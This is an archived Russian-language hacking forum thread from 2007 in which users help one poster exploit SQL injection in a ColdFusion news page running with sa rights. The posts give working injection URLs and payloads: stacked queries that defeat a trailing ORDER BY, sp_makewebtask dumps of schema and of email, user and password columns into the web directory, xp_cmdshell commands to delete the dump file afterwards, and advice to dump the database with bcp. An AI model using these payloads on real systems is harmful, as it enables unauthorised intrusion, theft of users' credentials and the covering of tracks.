PDA

Просмотр полной версии : как закрыть order в запросе к mssql


$jason$
12.09.2007, 20:20
Всем привет! подскажите как закрыть 'Order'

инъекция в cfm скрипте,все таблицы ,колонки и т.д даёт нормально,права sa

хочу вывести таблицу в файл на сервере с помощью sp_makewebtask, в вебдиректорию

в сообщение о ошибке есть полный путь до вебдиры,и запрос к бд

site.com/dir/news.cfm?news_id=-1'

[Macromedia][SQLServer JDBC Driver][SQLServer]Line 2: Incorrect syntax near ''.
The error occurred in F:\www\site.com\www\dir\news.cfm: line 19
SQL SELECT * From News Where News_ID = -1'' Order By DisplayOrder


делаю запрос
http://site.com/dir/news.cfm?News_ID=1;%20EXEC%20master..sp_makewebtas k%20%22F:\www\site.com\www\dir\output.html%22,%20% 22SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES%22

[Macromedia][SQLServer JDBC Driver][SQLServer]Incorrect syntax near the keyword 'Order'.

The error occurred in F:\www\site.com\www\dir\news.cfm: line 19

SELECT * From News Where News_ID = 1; EXEC master..sp_makewebtask "F:\www\site.com\www\dir\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES" Order By DisplayOrder

как закрыть этот ордер? повсякому пробовал пока неполучилось, проверяю потом site.com/dir/output.html нету файла :(

Spyder
12.09.2007, 20:23
закоментировать не пробовал?

[53x]Shadow
12.09.2007, 20:23
Используй усечение запроса комментами "--"(два тире), ставь в конце своего запроса

$jason$
12.09.2007, 21:38
пробовал запрос становится вида
[Macromedia][SQLServer JDBC Driver][SQLServer]Line 2: Incorrect syntax near ''.

SELECT * From News Where News_ID = 1; EXEC master..sp_makewebtask "F:\www\site.com\www\dir\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"-- Order By DisplayOrder

в файл невыводит :(

$jason$
12.09.2007, 23:49
никто незнает чтоли?

[53x]Shadow
13.09.2007, 00:06
никто незнает чтоли?
Фильтрация кавычек там, читай статью [cash] до конца и все последующие посты!
https://forum.antichat.ru/thread30501.html
здесь непосредственно про обход кавычек
https://forum.antichat.ru/threadnav30501-3-10.html

guest3297
13.09.2007, 01:06
подставь 1+or+1=@@version--

$jason$
13.09.2007, 17:13
']подставь 1+or+1=@@version--
да всё прикрасно выводит и версию и всю нужную инфу из базы, там просто база объёмная т.е много инфы нужно скачать, я даж таблицу создал и там две колонки первая id вторая вся нужная мне инфа но скрипт который построчно сливает долго сливает всёравно(там сервак немного тормозной), я хочу побыстрей всё скачать просто ,но немогу правильно заюзать sp_makewebtask, раньше пробовал на других серверах всё получалось, а тут запрос каварный какой-то несоображу как ордер закрыть

guest3297
14.09.2007, 03:29
А те путь известен?
Вообще не факт что ты trptr исполнять можешь лей не спеша и потихоньку...

Scipio
14.09.2007, 03:44
поробуй сделать "фейковый" запрос

тогда запрос у тебя будет типа такого:News_ID = 1; EXEC master..sp_makewebtask "F:\www\site.com\www\dir\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"; SELECT * From News Where News_ID = 1

а Order By DisplayOrder скрипт сам подставит и ошибки не будет

$jason$
14.09.2007, 10:25
Scipio Огромнейшее спасибо и как я сам недогодался!!!!
а как потом файл жахнуть на сервере? через xp_cmdshell ?

$jason$
14.09.2007, 10:46
можеш неотвечать разобрался как удалить файл который вывел 1;+exec+master..xp_cmdshell+"del+F:\www\site.com\www\dir\output.html";SELECT%20*%20From%20News%20Where%20News_ID%20=%20 1

$jason$
14.09.2007, 13:28
Вопрос:вот допустим мне нужно не дампить всю таблицу а вывести в файл только нужные колонки email user pass делаю запрос http://site.com/dir/news.cfm?News_ID=1; exec master..sp_makewebtask "F:\www\site.com\www\dir\output.html", "SELECT email,user,pass from User"
в файл выводится но значения ОБРЕЗАЮТСЯ по 20 символов и всё т.е некоторые данные такие как email например обрезанные получаются

пробовал так зделать 1; exec master..sp_makewebtask "F:\www\site.com\www\dir\output.html", "SELECT email as (50),user as (50),pass as (50) from User"

говорит The identifier that starts with 'querry'is too long. Maximum length is 128.
cast(email as nvarchar(50)) так тоже пробовал и тотже is too long. Maximum length is 128


и ещё sp_makewebtask сохраняет в виде html таблицы т.е там теги нтмл и нужные данные, если базу большого объёма так сдампить то весить файл будет очень много может знает кто как без тегов нтмл вывести если вообще так можно конечно просто разделить данные например ":" чтоб в файл выводилось user:pass:email ?

ccrus
27.09.2007, 16:44
если есть xpcmdshell юзай bcp
оно тебе куда надо сдампит бд

xena-mil1
09.10.2007, 16:07
ggggg